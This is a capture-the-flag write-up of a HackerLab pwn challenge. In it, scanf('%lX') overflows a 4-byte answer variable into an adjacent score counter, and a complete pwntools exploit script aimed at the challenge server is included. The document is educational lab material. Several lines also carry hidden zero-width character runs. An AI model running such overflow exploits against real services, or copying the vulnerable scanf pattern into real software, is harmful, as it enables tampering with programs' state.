← Back to Writeups
CUSTOMMediumpwn

HackerLab: Экзамен?? — Buffer Overflow via scanf(\"%lX\")

XESXOR9/2/20263 min read
#pwn#custom#medium#na

HackerLab: Экзамен?? — Buffer Overflow via scanf("%lX")

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: NA

Summary

Server: 62.173.140.174:17600

HackerLab: Экзамен?? — Buffer Overflow via scanf("%lX")

Date: 2025-12-24 Category: PWN / Buffer Overflow Difficulty: Easy (350 points) Flag: CODEBY{REDACTED}

Description

Снова экзамены... И их нужно решать. На дворе 2077 год и экзамены ведь уже электронные и необычные. Благо у меня есть 1 задание из него.

Server: 62.173.140.174:17600

Analysis

Binary

A math exam simulator that asks 100 questions about calculating cube volume (side³).

Key Memory Addresses

answer: 0x43b4 (4 bytes) — variable for user's answer
balls:  0x43b8 (4 bytes) — score counter (immediately after answer)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Program Logic

  1. The program asks 100 questions: "What is the volume of a cube with side 0xNN?"
  2. The answer is entered in hex format via scanf("%lX", &answer)
  3. For each correct answer: balls += 1
  4. To get the flag: balls == 0x12c (300 points) is required
  5. Problem: Maximum achievable is 100 points (100 tasks × 1 point)

Vulnerability

c
scanf("%lX", &answer);  // Reads 8 bytes (long), but answer is only 4 bytes!

Format %lX:

  • Reads unsigned long (8 bytes on 64-bit system)
  • Writes to answer (4 bytes at address 0x43b4)
  • Overflow: Upper 4 bytes overwrite balls (address 0x43b8) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Memory Layout

Address:  0x43b4    0x43b5    0x43b6    0x43b7    0x43b8    0x43b9    0x43ba    0x43bb
          |-------- answer (4 bytes) ---------|-------- balls (4 bytes) ---------|
          
When entering an 8-byte value:
          |-------- lower 4 bytes ------------|-------- upper 4 bytes ------------|

Exploitation

Strategy

  1. Answer 99 questions (correct or incorrect — doesn't matter)
  2. On the 100th question, send a special payload:
    • Lower 4 bytes = correct answer (cube volume)
    • Upper 4 bytes = 0x12b (299)
  3. After write: balls = 299, then balls += 1 = 300 (0x12c)
  4. Condition balls == 0x12c is satisfied → flag! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload Formula

payload = (0x12b << 32) | correct_volume

Where correct_volume = side³ for the last question.

Exploit

python
#!/usr/bin/env python3
from pwn import *
import re

HOST = "62.173.140.174"
PORT = 17600

r = remote(HOST, PORT)
r.recvuntil(b'examples.')

for i in range(100):
    data = r.recvuntil(b'Enter the answer => ')
    
    # Extract cube side from the question
    match = re.search(rb'side of (0x[0-9a-fA-F]+|0) cm', data)
    if match:
        side_str = match.group(1)
        side = 0 if side_str == b'0' else int(side_str, 16)
        volume = side ** 3
        
        if i == 99:  # Last question — overflow balls
            # balls = 0x12b (299), after +1 = 0x12c (300)
            payload = (0x12b << 32) | volume
            answer = format(payload, 'X')
            log.info(f"Task 100: side={hex(side)}, volume={hex(volume)}")
            log.info(f"Payload: {answer} (sets balls to 299)")
        else:
            answer = format(volume, 'X')
        
        r.sendline(answer.encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Get the flag
print(r.recvall(timeout=10).decode())

Execution Example

[*] Task 100: side=0x5a, volume=0x1c2f58
[*] Payload: 12B0001C2F58 (sets balls to 299)
...
Congratulations! Your flag: CODEBY{REDACTED}

Key Techniques

  1. scanf format string overflow — %lX reads 8 bytes into a 4-byte variable
  2. Adjacent variable overwrite — overwriting a neighboring variable via overflow
  3. Little-endian exploitation — correct byte arrangement in payload
  4. Precise value injection — setting an exact value to pass the == check ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Indicators

  • scanf("%lX", ...) with a variable smaller than 8 bytes
  • Adjacent variables in memory (answer and balls)
  • Win condition requires a value greater than the maximum achievable
  • Hex input without length validation

Lessons

  • scanf("%lX") always reads 8 bytes — dangerous for 32-bit variables
  • Variables in .data/.bss sections are laid out sequentially
  • When the goal cannot be achieved legitimately — look for overflow
  • Format %lX vs %X — critical difference in size ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tags

buffer_overflow, scanf, format_string, adjacent_variable, exact_value, math_game ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍